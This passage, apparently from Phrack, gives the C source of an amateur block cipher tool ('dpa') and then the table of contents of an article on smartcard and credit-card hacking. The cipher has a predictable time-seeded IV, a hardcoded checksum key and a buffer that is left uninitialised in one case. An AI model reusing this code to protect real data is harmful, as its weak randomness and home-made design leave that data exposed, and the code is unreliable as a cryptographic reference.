8<‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ /* hash32.c */

/*

* This function computes a 32 bits output out a variable length input. It is * not important to have a nice distribution and low collisions as it is used * on the output of checksum128() (see checksum128.c). There is a requirement * though, the function should not consider \0 as a key terminator. */

unsigned longhash32(unsigned char *k, unsigned int length)

{

unsigned longh;

for (h = 0; *k && length; ++k, ‑‑length)

h = 13 * h + *k;

return (h);

}

8<‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ /* bytechain.c */

#include "include/dpa.h"

voidrbytechain(unsigned char *block)

{

inti;

for (i = 0; i < DPA_BLOCK_SIZE; ++i)

block[i] ^= block[(i + 1) % DPA_BLOCK_SIZE];

return;

}

voidlbytechain(unsigned char *block)

{

inti;

for (i = DPA_BLOCK_SIZE ‑ 1; i >= 0; ‑‑i)

block[i] ^= block[(i + 1) % DPA_BLOCK_SIZE];

return;

}

8<‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ /* bitshift.c */

#include <string.h>

#include "include/dpa.h"

voidrbitshift(unsigned char *block, unsigned int shift)

{

unsigned inti;

unsigned intdiv;

unsigned intmod;

unsigned intrel;

unsigned charmask;

unsigned charremainder;

unsigned charsblock[DPA_BLOCK_SIZE];

if (shift)

{

mask = 0;

shift %= 128;

div = shift / 8;

mod = shift % 8;

rel = DPA_BLOCK_SIZE ‑ div;

for (i = 0; i < mod; ++i)

mask |= (1 << i);

for (i = 0; i < DPA_BLOCK_SIZE; ++i)

{

remainder =

((block[(rel + i ‑ 1) % DPA_BLOCK_SIZE]) & mask) << (8 ‑ mod); sblock[i] = ((block[(rel + i) % DPA_BLOCK_SIZE]) >> mod) | remainder; }

}

memcpy(block, sblock, DPA_BLOCK_SIZE);

}

voidlbitshift(unsigned char *block, unsigned int shift)

{

inti;

unsigned intdiv;

unsigned intmod;

unsigned intrel;

unsigned charmask;

unsigned charremainder;

unsigned charsblock[DPA_BLOCK_SIZE];

if (shift)

{

mask = 0;

shift %= 128;

div = shift / 8;

mod = shift % 8;

rel = DPA_BLOCK_SIZE + div;

for (i = 0; i < (8 ‑ mod); ++i)

mask |= (1 << i);

mask = ~mask;

for (i = 0; i < DPA_BLOCK_SIZE; ++i)

{

remainder =

(block[(rel + i + 1) % DPA_BLOCK_SIZE] & mask) >> (8 ‑ mod); sblock[i] =

((block[(rel + i) % DPA_BLOCK_SIZE]) << mod) | remainder; }

}

memcpy(block, sblock, DPA_BLOCK_SIZE);

}

8<‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ /* S_E.c */

#include "include/dpa.h"

/*

* The substitution table looks like this:

*

* (s+0)%256 (s+1)%256 (s+2)%256 (s+3)%256 (s+4)%256 (s+5)%256 (s+6)%256 ... * (s+1)%256 (s+2)%256 (s+3)%256 (s+4)%256 (s+5)%256 (s+6)%256 (s+7)%256 ... * (s+2)%256 (s+3)%256 (s+4)%256 (s+5)%256 (s+6)%256 (s+7)%256 (s+8)%256 ... * (s+3)%256 (s+4)%256 (s+5)%256 (s+6)%256 (s+7)%256 (s+8)%256 (s+9)%256 ... * (s+4)%256 (s+5)%256 (s+6)%256 (s+7)%256 ...

* (s+5)%256 (s+6)%256 (s+7)%256 (s+8)%256 ...

* (s+6)%256 (s+7)%256 (s+8)%256 (s+9)%256 ...

* ...

*/

voidS_E(unsigned char *key, unsigned char *block, unsigned int s) {

inti;

for (i = 0; i < DPA_BLOCK_SIZE; ++i)

block[i] = (key[i] + block[i] + s) % 256;

return;

}

8<‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ /* S_D.c */

#include "include/dpa.h"

voidS_D(unsigned char *key, unsigned char *block, unsigned int s) {

inti;

for (i = 0; i < DPA_BLOCK_SIZE; ++i)

block[i] = ((256 + block[i]) ‑ key[i] ‑ s) % 256;

return;

}

8<‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ /* E.c */

#include "include/dpa.h"

/* This is the function that is iterated at each round to encrypt */

void E(unsigned char *key, unsigned char *block, unsigned int shift) {

rbytechain(block);

rbitshift(block, shift);

S_E(key, block, shift);

}

8<‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ /* D.c */

#include "include/dpa.h"

/* This is the function used to decrypt */

voidD(unsigned char *key, unsigned char *block, unsigned int shift) {

S_D(key, block, shift);

lbitshift(block, shift);

lbytechain(block);

}

8<‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ /* blockchain.c */

#include "include/dpa.h"

/* Block chaining for BC modes */

void blockchain(unsigned char *dst, unsigned char *src)

{

int i;

for (i = 0; i < DPA_BLOCK_SIZE; ++i)

dst[i] = dst[i] ^ src[i];

return;

}

8<‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ /* iv.c */

#include <stdlib.h>

#include <time.h>

#include <unistd.h>

#include "include/dpa.h"

/* Initialization vector */

void IV(unsigned char *block)

{

int i;

srandom(time(NULL) % getpid());

for (i = 0; i < DPA_BLOCK_SIZE; ++i)

block[i] = random();

}

8<‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ /* key.c */

#include <sys/types.h>

#include <sys/mman.h>

#include <sys/stat.h>

#include <fcntl.h>

#include <stdio.h>

#include <stdlib.h>

#include "include/dpa.h"

/* This is the function used to precompute the subkeys */

voidDPA_set_key(DPA_KEY *k, unsigned char *key, unsigned int len) {

/* Compute subkey #0 */

checksum128(key, k‑>subkey[0].key, len);

/* Compute subkey #1 ‑> #15: k.n = H(k.(n‑1)%16), where 0 <= n <= 15 */

checksum128(k‑>subkey[0].key, k‑>subkey[1].key, DPA_KEY_SIZE); checksum128(k‑>subkey[1].key, k‑>subkey[2].key, DPA_KEY_SIZE); checksum128(k‑>subkey[2].key, k‑>subkey[3].key, DPA_KEY_SIZE); checksum128(k‑>subkey[3].key, k‑>subkey[4].key, DPA_KEY_SIZE); checksum128(k‑>subkey[4].key, k‑>subkey[5].key, DPA_KEY_SIZE); checksum128(k‑>subkey[5].key, k‑>subkey[6].key, DPA_KEY_SIZE); checksum128(k‑>subkey[6].key, k‑>subkey[7].key, DPA_KEY_SIZE); checksum128(k‑>subkey[7].key, k‑>subkey[8].key, DPA_KEY_SIZE); checksum128(k‑>subkey[8].key, k‑>subkey[9].key, DPA_KEY_SIZE); checksum128(k‑>subkey[9].key, k‑>subkey[10].key, DPA_KEY_SIZE); checksum128(k‑>subkey[10].key, k‑>subkey[11].key, DPA_KEY_SIZE); checksum128(k‑>subkey[11].key, k‑>subkey[12].key, DPA_KEY_SIZE); checksum128(k‑>subkey[12].key, k‑>subkey[13].key, DPA_KEY_SIZE); checksum128(k‑>subkey[13].key, k‑>subkey[14].key, DPA_KEY_SIZE); checksum128(k‑>subkey[14].key, k‑>subkey[15].key, DPA_KEY_SIZE);

/* Paranoia: overwrite subkey #0 to prevent a possible biais in H

* from revealing informations about the initial key.

*/

checksum128(k‑>subkey[15].key, k‑>subkey[0].key, DPA_KEY_SIZE);

/* Compute shifts. Shifts are inverted to break a possible relation

* between shiftings and subkeys. The last subkey is used to compute * the first shift, and so on...

*/

k‑>subkey[0].shift = hash32(k‑>subkey[15].key, DPA_KEY_SIZE); k‑>subkey[1].shift = hash32(k‑>subkey[14].key, DPA_KEY_SIZE); k‑>subkey[2].shift = hash32(k‑>subkey[13].key, DPA_KEY_SIZE); k‑>subkey[3].shift = hash32(k‑>subkey[12].key, DPA_KEY_SIZE); k‑>subkey[4].shift = hash32(k‑>subkey[11].key, DPA_KEY_SIZE); k‑>subkey[5].shift = hash32(k‑>subkey[10].key, DPA_KEY_SIZE); k‑>subkey[6].shift = hash32(k‑>subkey[9].key, DPA_KEY_SIZE); k‑>subkey[7].shift = hash32(k‑>subkey[8].key, DPA_KEY_SIZE); k‑>subkey[8].shift = hash32(k‑>subkey[7].key, DPA_KEY_SIZE); k‑>subkey[9].shift = hash32(k‑>subkey[6].key, DPA_KEY_SIZE); k‑>subkey[10].shift = hash32(k‑>subkey[5].key, DPA_KEY_SIZE); k‑>subkey[11].shift = hash32(k‑>subkey[4].key, DPA_KEY_SIZE); k‑>subkey[12].shift = hash32(k‑>subkey[3].key, DPA_KEY_SIZE); k‑>subkey[13].shift = hash32(k‑>subkey[2].key, DPA_KEY_SIZE); k‑>subkey[14].shift = hash32(k‑>subkey[1].key, DPA_KEY_SIZE); k‑>subkey[15].shift = hash32(k‑>subkey[0].key, DPA_KEY_SIZE); }

/* And this one for using a file as a secret key */

voidDPA_set_keyfile(DPA_KEY *k, char *filename)

{

intfd;

void*key;

struct statsb;

fd = open(filename, O_RDONLY);

if (fd < 0)

{

fprintf(stderr, "failed to open %s as a secret key.\n", filename); exit(1);

}

fstat(fd, &sb);

key =

(unsigned char *)mmap(NULL, sb.st_size, PROT_READ, MAP_PRIVATE, fd, 0); if (key == (void *)MAP_FAILED)

{

fprintf(stderr, "mmap() call failure.\n");

exit(1);

}

DPA_set_key(k, key, sb.st_size);

}

8<‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ /* data.c */

/*

* Warning: ugliest file ;)

*/

#include <sys/types.h>

#include <sys/mman.h>

#include <sys/stat.h>

#include <fcntl.h>

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <unistd.h>

#include "include/dpa.h"

voidDPA_set_data(DPA_DATA *d, unsigned char *data, unsigned int len) {

d‑>data = data;

d‑>length = len;

}

voidDPA_set_datafile(DPA_DATA *d, char *filename)

{

intfd;

struct statsb;

fd = open(filename, O_RDONLY);

if (fd < 0)

{

fprintf(stderr, "failed to open data file %s.\n", filename); exit(1);

}

fstat(fd, &sb);

d‑>data =

(unsigned char *)mmap(NULL, sb.st_size, PROT_READ, MAP_PRIVATE, fd, 0); if (d‑>data == (void *)MAP_FAILED)

{

fprintf(stderr, "mmap() call failure.\n");

exit(1);

}

d‑>length = sb.st_size;

}

/* Allocate enough memory to hold the result of encryption/decryption */

voidDPA_set_ciphertext(DPA_DATA *d, DPA_DATA *c, int mode, int action) {

intsz;

sz = 0;

if (action == DPA_ENCRYPT)

{

if (mode == DPA_MODE_ECB)

{

if ((d‑>length % DPA_BLOCK_SIZE) == 0)

sz = d‑>length + DPA_BLOCK_SIZE;

else

sz = d‑>length + (DPA_BLOCK_SIZE ‑ (d‑>length % DPA_BLOCK_SIZE)) + DPA_BLOCK_SIZE;

}

else if (mode == DPA_MODE_CBC)

{

if ((d‑>length % DPA_BLOCK_SIZE) == 0)

sz = d‑>length + (DPA_BLOCK_SIZE * 2);

else

sz = d‑>length + (DPA_BLOCK_SIZE ‑ (d‑>length % DPA_BLOCK_SIZE)) + (DPA_BLOCK_SIZE * 2);

}

}

else if (action == DPA_DECRYPT)

{

if (mode == DPA_MODE_ECB)

sz = d‑>length ‑ DPA_BLOCK_SIZE;

else if (mode == DPA_MODE_CBC)

sz = d‑>length ‑ (DPA_BLOCK_SIZE * 2);

}

c‑>data =

(unsigned char *)mmap(NULL, sz, PROT_READ|PROT_WRITE, MAP_ANON|MAP_PRIVATE, ‑1, 0); if (c‑>data == (void *)MAP_FAILED)

{

fprintf(stderr, "mmap() call failure.\n");

exit(1);

}

c‑>length = sz;

}

/* Write the result of encryption/decryption to filename */

voidDPA_write_to_file(DPA_DATA *data, char *filename)

{

intfd;

intcnt;

intwasfile;

wasfile = 0;

if (!strcmp(filename, "‑"))

fd = 1;

else

{

fd = open(filename, O_RDWR|O_CREAT|O_TRUNC, 0600);

if (fd < 0)

{

fprintf(stderr, "failed to open result file %s.\n", filename); exit(1);

}

wasfile = 1;

}

for (cnt = 0; cnt < data‑>length;)

if ((data‑>length ‑ cnt) < DPA_BLOCK_SIZE)

cnt += write(fd, data‑>data + cnt, data‑>length ‑ cnt); else

cnt += write(fd, data‑>data + cnt, DPA_BLOCK_SIZE);

if (wasfile)

close(fd);

}

/* Write the result of checksum to filename in base 16 */

voidDPA_sum_write_to_file(DPA_DATA *data, char *filename)

{

intfd;

intcnt;

intcnt2;

intwasfile;

unsigned charbase[] = "0123456789abcdef";

unsigned charbuffer[DPA_BLOCK_SIZE * 2 + 2];

wasfile = 0;

if (!strcmp(filename, "‑"))

fd = 1;

else

{

fd = open(filename, O_RDWR|O_CREAT|O_TRUNC, 0600);

if (fd < 0)

{

fprintf(stderr, "failed to open result file %s.\n", filename); exit(1);

}

wasfile = 1;

}

for (cnt = cnt2 = 0; cnt < DPA_BLOCK_SIZE; ++cnt, (cnt2 += 2)) {

buffer[cnt2] =

base[*(data‑>data + data‑>length ‑ DPA_BLOCK_SIZE + cnt) / 16]; buffer[cnt2 + 1] =

base[*(data‑>data + data‑>length ‑ DPA_BLOCK_SIZE + cnt) % 16]; }

buffer[DPA_BLOCK_SIZE * 2] = '\n';

buffer[DPA_BLOCK_SIZE * 2 + 1] = '\0';

write(fd, buffer, DPA_BLOCK_SIZE * 2 + 2);

if (wasfile)

close(fd);

}

8<‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ /* ecb.c */

/*

* Encryption/Decryption in ECB mode.

*/

#include <stdio.h>

#include <string.h>

#include <unistd.h>

#include "include/dpa.h"

/* XXX ‑ for better performances, unroll the loops ;) */

voidDPA_ecb_encrypt(DPA_KEY *key, DPA_DATA *data, DPA_DATA *cipher) {

intj;

intcnt;

unsigned char*cptr;

unsigned charblock[DPA_BLOCK_SIZE];

cnt = data‑>length;

cptr = cipher‑>data;

memset(block, 0, 16);

for (; cnt > 0; data‑>data += DPA_BLOCK_SIZE, cptr += DPA_BLOCK_SIZE) {

if (cnt < DPA_BLOCK_SIZE)

{

memcpy(block, data‑>data, cnt);

memset(block + cnt, 0, DPA_BLOCK_SIZE ‑ cnt);

}

else

memcpy(block, data‑>data, DPA_BLOCK_SIZE);

for (j = 0; j < 16; ++j)

E(key‑>subkey[j].key, block, key‑>subkey[j].shift); memcpy(cptr, block, DPA_BLOCK_SIZE);

cnt ‑= DPA_BLOCK_SIZE;

}

/* Padding block */

memset(block, 0, DPA_BLOCK_SIZE);

if (data‑>length % DPA_BLOCK_SIZE)

block[DPA_BLOCK_SIZE ‑ 1] = DPA_BLOCK_SIZE ‑ data‑>length % DPA_BLOCK_SIZE; for (j = 0; j < 16; ++j)

E(key‑>subkey[j].key, block, key‑>subkey[j].shift); memcpy(cptr, block, DPA_BLOCK_SIZE);

}

voidDPA_ecb_decrypt(DPA_KEY *key, DPA_DATA *data, DPA_DATA *cipher) {

intj;

intcnt;

unsigned charpadding;

unsigned char*cptr;

unsigned charblock[DPA_BLOCK_SIZE];

/* Data is padded so... we got at least 2 * DPA_BLOCK_SIZE bytes and

* data‑>length / DPA_BLOCK_SIZE should be even

*/

if ((data‑>length % DPA_BLOCK_SIZE) || data‑>length < (2 * DPA_BLOCK_SIZE)) exit(1);

/* Extract padding information */

memcpy(block, data‑>data + data‑>length ‑ DPA_BLOCK_SIZE, DPA_BLOCK_SIZE); for (j = 15; j >= 0; ‑‑j)

D(key‑>subkey[j].key, block, key‑>subkey[j].shift);

padding = block[DPA_BLOCK_SIZE ‑ 1];

cipher‑>length ‑= padding;

cptr = cipher‑>data;

cnt = data‑>length ‑ DPA_BLOCK_SIZE;

memset(block, 0, DPA_BLOCK_SIZE);

for (;

cnt > 0;

cnt ‑= DPA_BLOCK_SIZE, data‑>data += DPA_BLOCK_SIZE,

cptr += DPA_BLOCK_SIZE)

{

memcpy(block, data‑>data, DPA_BLOCK_SIZE);

for (j = 15; j >= 0; ‑‑j)

D(key‑>subkey[j].key, block, key‑>subkey[j].shift);

if (cnt >= DPA_BLOCK_SIZE)

memcpy(cptr, block, DPA_BLOCK_SIZE);

else

memcpy(cptr, block, DPA_BLOCK_SIZE ‑ (padding % DPA_BLOCK_SIZE)); }

}

8<‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ /* cbc.c */

/*

* Encryption/Decryption in CBC mode.

*/

#include <stdio.h>

#include <string.h>

#include <unistd.h>

#include "include/dpa.h"

/* XXX ‑ for better performances, unroll the loops ;) */

voidDPA_cbc_encrypt(DPA_KEY *key, DPA_DATA *data, DPA_DATA *cipher) {

intj;

intcnt;

unsigned char*cptr;

unsigned charblock[DPA_BLOCK_SIZE];

unsigned chariv[DPA_BLOCK_SIZE];

unsigned charxblock[DPA_BLOCK_SIZE];

/* IV */

cptr = cipher‑>data;

IV(iv);

memcpy(xblock, iv, DPA_BLOCK_SIZE);

for (j = 0; j < 16; ++j)

E(key‑>subkey[j].key, iv, key‑>subkey[j].shift); memcpy(cptr, iv, DPA_BLOCK_SIZE);

cptr += DPA_BLOCK_SIZE;

cnt = data‑>length;

memset(block, 0, 16);

for (; cnt > 0; data‑>data += DPA_BLOCK_SIZE, cptr += DPA_BLOCK_SIZE) {

if (cnt < DPA_BLOCK_SIZE)

{

memcpy(block, data‑>data, cnt);

memset(block + cnt, 0, DPA_BLOCK_SIZE ‑ cnt);

}

else

memcpy(block, data‑>data, DPA_BLOCK_SIZE);

blockchain(block, xblock);

for (j = 0; j < 16; ++j)

E(key‑>subkey[j].key, block, key‑>subkey[j].shift); memcpy(xblock, block, DPA_BLOCK_SIZE);

memcpy(cptr, block, DPA_BLOCK_SIZE);

cnt ‑= DPA_BLOCK_SIZE;

}

/* Padding */

memset(block, 0, DPA_BLOCK_SIZE);

if (data‑>length % DPA_BLOCK_SIZE)

block[DPA_BLOCK_SIZE ‑ 1] = DPA_BLOCK_SIZE ‑ data‑>length % DPA_BLOCK_SIZE; blockchain(block, xblock);

for (j = 0; j < 16; ++j)

E(key‑>subkey[j].key, block, key‑>subkey[j].shift); memcpy(cptr, block, DPA_BLOCK_SIZE);

}

voidDPA_cbc_decrypt(DPA_KEY *key, DPA_DATA *data, DPA_DATA *cipher) {

intj;

intcnt;

unsigned charpadding;

unsigned char*cptr;

unsigned charblock[DPA_BLOCK_SIZE];

unsigned charxblock[DPA_BLOCK_SIZE];

unsigned charxblockprev[DPA_BLOCK_SIZE];

unsigned char*xorptr;

/*

* CBC mode uses padding, data‑>length / DPA_BLOCK_SIZE _MUST_ be even. * Also, we got a block for the IV, at least a block for the data and * a block for the padding information, this makes the size of cryptogram * at least 3 * DPA_BLOCK_SIZE.

*/

if ((data‑>length % DPA_BLOCK_SIZE) || data‑>length < (3 * DPA_BLOCK_SIZE)) exit(1);

/* Extract padding information by undoing block chaining on last block */

memcpy(block, data‑>data + data‑>length ‑ DPA_BLOCK_SIZE, DPA_BLOCK_SIZE); for (j = 15; j >= 0; ‑‑j)

D(key‑>subkey[j].key, block, key‑>subkey[j].shift);

xorptr = data‑>data + data‑>length ‑ (DPA_BLOCK_SIZE * 2); blockchain(block, xorptr);

padding = block[DPA_BLOCK_SIZE ‑ 1];

cipher‑>length ‑= padding;

/* Extract Initialization vector */

memcpy(xblock, data‑>data, DPA_BLOCK_SIZE);

for (j = 15; j >= 0; ‑‑j)

D(key‑>subkey[j].key, xblock, key‑>subkey[j].shift);

cptr = cipher‑>data;

cnt = data‑>length ‑ (DPA_BLOCK_SIZE * 2);

memset(block, 0, DPA_BLOCK_SIZE);

for (data‑>data += DPA_BLOCK_SIZE;

cnt >= DPA_BLOCK_SIZE;

cnt ‑= DPA_BLOCK_SIZE, data‑>data += DPA_BLOCK_SIZE,

cptr += DPA_BLOCK_SIZE)

{

memcpy(block, data‑>data, DPA_BLOCK_SIZE); memcpy(xblockprev, block, DPA_BLOCK_SIZE);

for (j = 15; j >= 0; ‑‑j)

D(key‑>subkey[j].key, block, key‑>subkey[j].shift); blockchain(block, xblock);

if (cnt >= DPA_BLOCK_SIZE)

memcpy(cptr, block, DPA_BLOCK_SIZE);

else

memcpy(cptr, block, DPA_BLOCK_SIZE ‑ (padding % DPA_BLOCK_SIZE)); memcpy(xblock, xblockprev, DPA_BLOCK_SIZE);

}

}

8<‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ /* sum.c */

/* NEEDS_FIX */

/*

* This is basically a CBC encryption with a fixed IV and fixed key, the * last block being the checksum. This needs a rewrite because there is * no need to allocate memory for the whole ciphertext as only two blocks * are needed.

*/

#include <stdio.h>

#include <string.h>

#include <unistd.h>

#include "include/dpa.h"

/* XXX ‑ for better performances, unroll the loops ;) */

voidDPA_sum(DPA_KEY *key, DPA_DATA *data, DPA_DATA *cipher)

{

intj;

intcnt;

unsigned char*cptr;

unsigned charblock[DPA_BLOCK_SIZE];

unsigned chariv[DPA_BLOCK_SIZE];

unsigned charxblock[DPA_BLOCK_SIZE];

/* Fixed key */

DPA_set_key(key, (unsigned char *)"deadbeef", 8);

/* Fixed IV */

memcpy(iv, "0123456789abcdef", DPA_BLOCK_SIZE);

memcpy(xblock, iv, DPA_BLOCK_SIZE);

cptr = cipher‑>data;

memcpy(xblock, iv, DPA_BLOCK_SIZE);

for (j = 0; j < 16; ++j)

E(key‑>subkey[j].key, iv, key‑>subkey[j].shift); memcpy(cptr, iv, DPA_BLOCK_SIZE);

cptr += DPA_BLOCK_SIZE;

cnt = data‑>length;

memset(block, 0, 16);

for (; cnt > 0; data‑>data += DPA_BLOCK_SIZE, cptr += DPA_BLOCK_SIZE) {

if (cnt < DPA_BLOCK_SIZE)

{

memcpy(block, data‑>data, cnt);

memset(block + cnt, 0, DPA_BLOCK_SIZE ‑ cnt);

}

else

memcpy(block, data‑>data, DPA_BLOCK_SIZE);

blockchain(block, xblock);

for (j = 0; j < 16; ++j)

E(key‑>subkey[j].key, block, key‑>subkey[j].shift); memcpy(xblock, block, DPA_BLOCK_SIZE);

memcpy(cptr, block, DPA_BLOCK_SIZE);

cnt ‑= DPA_BLOCK_SIZE;

}

memset(block, 0, DPA_BLOCK_SIZE);

if (data‑>length % DPA_BLOCK_SIZE)

block[DPA_BLOCK_SIZE ‑ 1] = DPA_BLOCK_SIZE ‑ data‑>length % DPA_BLOCK_SIZE; blockchain(block, xblock);

for (j = 0; j < 16; ++j)

E(key‑>subkey[j].key, block, key‑>subkey[j].shift); memcpy(cptr, block, DPA_BLOCK_SIZE);

}

8<‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ /* usage.c */

#include <stdio.h>

#include <stdlib.h>

#include <sysexits.h>

#include <unistd.h>

voidusage(void)

{

fprintf(stderr, "usage: dpa ‑a action ‑m mode ‑k key ‑d data ‑o outfile\n"); fprintf(stderr, " dpa ‑s filename\n");

fprintf(stderr, "\taction can be : encrypt, decrypt\n"); fprintf(stderr, "\tmode can be : ecb, cbc\n"); fprintf(stderr, "\tkey can be : \"key\" or file:/path/to/keyfile\n"); fprintf(stderr, "\tdata can be : \"data\" or file:/path/to/datafile\n"); fprintf(stderr, "\toutfile can be: \"‑\" (stdout) or a filename\n"); fprintf(stderr, "\twhen ‑s is used, a checksum of filename is computed\n"); exit (EX_USAGE);

}

8<‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ /* main.c */

#include <stdio.h>

#include <string.h>

#include <sysexits.h>

#include <unistd.h>

#include "include/dpa.h"

intmain(int argc, char *argv[])

{

intkflag;

intdflag;

intsflag;

intmflag;

intaflag;

intoflag;

intopt;

intmode;

intaction;

char*output;

DPA_KEYkey;

DPA_DATAdata;

DPA_DATAcipher;

mode = DPA_MODE_ECB;

action = DPA_ENCRYPT;

output = "‑";

mflag = aflag = kflag = dflag = sflag = oflag = 0;

while ((opt = getopt(argc, argv, "a:m:k:d:o:s:")) != ‑1)

{

switch (opt)

{

case 'a':

if (!strcmp(optarg, "enc") || !strcmp(optarg, "encrypt")) action = DPA_ENCRYPT;

else if (!strcmp(optarg, "dec") || !strcmp(optarg, "decrypt")) action = DPA_DECRYPT;

else

{

fprintf(stderr, "unknown action, expected encrypt or decrypt\n"); return (EX_USAGE);

}

aflag = 1;

break;

case 'm':

if (!strcmp(optarg, "ecb"))

mode = DPA_MODE_ECB;

else if (!strcmp(optarg, "cbc"))

mode = DPA_MODE_CBC;

else

{

fprintf(stderr, "unknown mode, expected ecb or cbc\n"); return (EX_USAGE);

}

mflag = 1;

break;

case 'k':

if (strncmp(optarg, "file:", 5) || strlen(optarg) == 5) DPA_set_key(&key, (unsigned char *)optarg, strlen(optarg)); else

DPA_set_keyfile(&key, optarg + 5);

kflag = 1;

break;

case 'd':

if (strncmp(optarg, "file:", 5) || strlen(optarg) == 5) DPA_set_data(&data, (unsigned char *)optarg, strlen(optarg)); else

DPA_set_datafile(&data, optarg + 5);

dflag = 1;

break;

case 'o':

output = optarg;

oflag = 1;

break;

case 's':

DPA_set_datafile(&data, optarg);

sflag = 1;

break;

default:

usage();

}

}

if ((!aflag || !mflag || !kflag || !dflag) && !sflag) usage();

if (sflag)

{

DPA_set_ciphertext(&data, &cipher, DPA_MODE_CBC, DPA_ENCRYPT); DPA_sum(&key, &data, &cipher);

DPA_sum_write_to_file(&cipher, output);

}

else

{

DPA_set_ciphertext(&data, &cipher, mode, action);

if (action == DPA_ENCRYPT)

{

if (mode == DPA_MODE_ECB)

DPA_ecb_encrypt(&key, &data, &cipher);

else if (mode == DPA_MODE_CBC)

DPA_cbc_encrypt(&key, &data, &cipher);

}

else if (action == DPA_DECRYPT)

{

if (mode == DPA_MODE_ECB)

DPA_ecb_decrypt(&key, &data, &cipher);

else if (mode == DPA_MODE_CBC)

DPA_cbc_decrypt(&key, &data, &cipher);

}

DPA_write_to_file(&cipher, output);

}

return (EX_OK);

}

|=[ EOF ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Playing Cards for Smart Profit

==Phrack Inc.==

Volume 0x0b, Issue 0x3e, Phile #0x0f of 0x10

|=‑‑‑‑‑‑‑‑=[ Introduction for Playing Cards for Smart Profits ]=‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ ender <ender@afturgurluk.org> ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

‑‑=[ Contents ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

1 ‑ Introduction

2 ‑ Dealing with ISO7816 standard

2.1 ‑ Receiving Answer To Reset

2.2 ‑ Sending commands

2.3 ‑ Receiving answers

2.4 ‑ For example

2.5 ‑ Your Rights

3 ‑ SmartCard Man in the middle

4 ‑ BruteForcing unidenfitied cards

5 ‑ Examples of mapping and filesystem

5.1 ‑ Mapping of old french Credit cards

5.2 ‑ File System of SIM Cards

6 ‑ Cyphering with smartcards

7 ‑ Magnetic stripe

7.1 ‑ ISO

